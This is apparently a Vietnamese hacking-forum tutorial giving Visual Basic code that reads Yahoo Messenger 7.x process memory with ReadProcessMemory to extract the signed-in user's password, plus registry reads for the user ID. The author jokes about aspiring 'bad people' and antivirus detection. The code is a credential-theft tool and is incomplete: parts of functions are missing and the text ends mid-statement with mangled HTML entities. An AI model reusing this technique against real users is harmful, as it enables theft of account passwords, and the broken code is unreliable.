Lấy mật khẩu khi đang Chat trên Yahoo home
Xuất xứ : www.donganhonline.com (phuongthanh37)
Binh khí sử dụng : Không
Nói qua : Có một số bạn hỏi tui rằng cái này có phải là lấy của chế độ tự động đăng nhập không nhưng
không nó sẽ đọc trực tiếp bộ nhớ của Yahoo Mát sa ge (7.x).
Chú ý : Nếu có vị “Độc giả” anò sau khi đọc sau “Món” này âm mưu viết chương trình ăn cắp mật khẩu
thì sẽ “Tự lãnh hậu quả” đó. Lý do ??? Rất đơn giản quá trình đọc Regedit tuân thủ theo nguyên tắc
của mấy chú “Virus” thường dung => AV “Bụp” liền. Như vậy để đủ “Trình độ” để làm “Người xấu” ta
phải làm gì ??? Ồ tôi sẽ không nói cho các bạn đâu hehehehehe vì nếu tui nói thì chính tui (Dũng còi)
sẽ làm gia tằng thêm số lượng hác cơ lơ tơ mơ như vậy thì “Họa” mất. Như vậy mún làm người xấu thì
“Các ngừơi xấu của tương lai” hãy chịu khó học hỏi thêm đi nha.
À “Chiêu thức “ này còn đang có nhiều tranh cãi nên chưa chắc chắn 100% nha (Riêng tui thành Test
thành công)
Đoạn mã :
'Cac API va bien se su dung
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess
As Long, _
ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess
As Long, ByVal lpBaseAddress _
As Long, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten
As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long)
As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" _
(ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _
(ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Private Const PROCESS_VM_READ = 16
'Function de doc Registry

If bfLg = 0 Then GoTo asd
'Cong don tung ky tu doc duoc
sss = sss & Chr(bfLg)
DoEvents
Next
asd:
If sss = StrTmp Then Exit Do 'Xac dinh cum ky tu co dinh
sss = ""
Loop Until j = 4100000
sss = ""
'Lay pass tu bo nho ra
For I = 0 To 2048
'Tu cum ky tu co dinh tim den offset chua pass de lay ra
ReadProcessMemory Y_Proc, (j + 8) + I, bfLg, 1, 0&
If bfLg = 0 Then CloseHandle P_Proc: YM_Dump = sss: Exit Function
sss = sss & Chr(bfLg)
DoEvents
Next
DoEvents
End Function
Private Sub Form_Load()
On Error Resume Next
'Lay ID tu trong Registry
txtID = DocKey("HKEY_CURRENT_USER\Software\yahoo\pager\Yahoo! User ID")
'KT co phai phien ban Y!M 7.0
DocKey ("HKEY_CURRENT_USER\Software\yahoo\pager\v70")
'Ton trong tac gia va ban than bang cach giu nguyen ten tac gia
'Dump & Coded by PhuongThanh37
'[email protected] http://donganhol.com
If Err.Number & lt & gt Then